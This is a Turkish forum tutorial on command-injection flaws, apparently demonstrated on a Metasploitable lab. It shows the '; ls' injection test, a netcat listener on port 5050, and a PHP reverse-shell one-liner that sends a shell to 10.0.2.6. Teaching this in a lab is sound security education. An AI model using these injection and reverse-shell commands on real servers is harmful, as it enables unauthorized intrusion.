Kod Yürütme Açığı
Merhaba Arkadaşlar bugün sizlere command execution yani kod yürütme açığından bahsedeceğim öncelikle bu açık manuel olarak nasıl bulunur, nerelerde bulunur, böyle bir açık hangi sebeplerden ortaya çıkar bunlardan bahsedelim.
KOD YÜRÜTME AÇIĞI NERELERDE BULUNUR:
Kod Yürütme Açığı genellikle web sitelerde verilen forum bölümlerinde bulunur. Örnek olması için metasploit table üzerinden örnekli olarak anlatacağım.
Yukarıdaki Resimdede gördüğünüz gibi bir forum verilmiş. Bu forum bize ücretsiz olarak ping servisi sunduğunu söylüyor. kalimizin ıp sini yazalım bakalım çalışıyormu.
Resimdede Gördüğünüz gibi çalışıyor. Peki bu açık bunun neresinde diye soruyosunuz. Kod yürütme açığı bizden istenilen şeyin yanında kod çalıştırdığımızda bir hata almıyorsak kod yürütme açığı var demektir.
Şimdi ıp mizin yanında herhangi bir kod çalıştırarak bakalım kod yürütme açığı bulunuyormu.
Ip min yanına
;
koyarak ve
ls
komutunu çalıştırdım ve hem ıp me ping attı hemde ls komutuna cevap verdi siyah kalemle yuvarlağa aldığım yere bakın şuanda sunucunun bulunduğu dizinin içerisindeki bazı dizin ve dosyaları görebiliyorum. Buda Bize burada command execution açığının olduğunu gösteriyor.
Peki biz bu açık sayesinde sunucuya nasıl bağlana biliriz ?
Kod Yürütme Açığı İle Sunucuya Bağlanma
Arkadaşlar bu açığın bulunduğu web sunucularına sızmak için reverse shell command yani ters bağlantı kodlarını kullanıcaz bu sayee sunucuyu kendimize bağlamış olucaz ve içerisinde rahatlıkla geze bilicez.
Googlede Reverse shell command diye bir arama yaparsak önümüze birçok sonuç çıkıcaktır pentestmonkey diye bir web site karşımıza çıkacaktır. Bu Web siteye girelim. yukarıdaki resimde gördüğünüz gibi farklı farklı dillerde reverse shell komutları yazılmış bunlardan herhangi birini kullana biliriz hepsi çalışmaya bilir deneme yanılma yöntemmi ile deneyerek hangisi çalışıyor bula biliriz. Ben PHP ile yazılmış olanı kullanıcam.
Şimdi sunucuyu kendimize bağlayacağımız için dinlemeye alıcaz bunu msfconsol ve netcad den yapabilirz ben netcad den yapıcam
nc -vv -l -p 5050
ben 5050 portundan dinlemeye alıcam sizler istediğiniz porttan dinlemeye alabilirsiniz.
10.0.2.6; php -r '$sock=fsockopen("10.0.2.6",5050);exec("/bin/sh -i <&3 >&3 2>&3");'
PHP yi kullanacağım için IP mi yazdıktan sonra ; işaretini kullanıp reverse shell kodunu yapıştırıyorum ( IP ve Portu Kendini<e göre değiştirmelisiniz ) Entere basıyorum bakalım sunucuya bağlandıkmı.
Gördüğünüz gibi sunucuya bağlandık. Sunucunun içersinde istediğimiz şekilde gezebiliyoruz.
Evet arkadaşlar kod yürütme açığının ne olduğunu nasıl bulunduğunu ve nasıl sızıldığını öğrendik. umarım faydalı olmuştur.
İYİ FORUMLAR
NOT: Bazı Arkadaşlarımız yazılı eğtimleri daha iyi anlıyo bazı arkadaşlarımız videolu bu nedenle yukarıda anlattıklarımla ilgili 10 dk lık bir video çektim videolu anlatımdan daha iyi anlayan arkadaşlarımız izleye bilirler
VİDEO LİNKİ :